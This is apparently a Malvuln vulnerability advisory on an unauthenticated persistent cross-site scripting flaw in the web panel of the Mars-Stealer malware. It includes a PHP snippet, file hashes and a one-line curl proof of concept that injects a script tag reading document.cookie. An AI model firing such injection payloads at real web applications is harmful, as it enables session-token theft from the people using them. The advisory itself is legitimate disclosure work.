Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Persistent XSS
Description: The Mars-Stealer web interface has a "Marker Rules" component area. Third-party attackers who can reach the Mars-Stealer server can send HTTP POST requests injecting arbitrary JS code into the "mars" MySql database in the markerrule table. This results in a persistent cross site scripting condition, executing client side code in the security context of the currently logged on user anytime the WebUI is accessed. This can result in PHPSESSID token and data theft or GEO location disclosure of the user accessing the Mars-Stealer WebUI.

PHP code snippet "markeractions.php"

require_once '../../db.php';

switch (trim($_POST['func'])) {
  case "markeradd":
    markeradd();
    break;
  case "markerdelete":
    markerdelete();
    break;
  case "markeractive":
    markeractive();
    break;
}

Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0452
Disclosure: 01/15/2022

Exploit/PoC:
curl http://MARS_STEALER/mars/panel/includes/markeractions.php --data "func=markeradd&name=/%3C%3Cscript%3Ealert(document.cookie)%3C/script%3E&marker=WWW.MALVULN.com"

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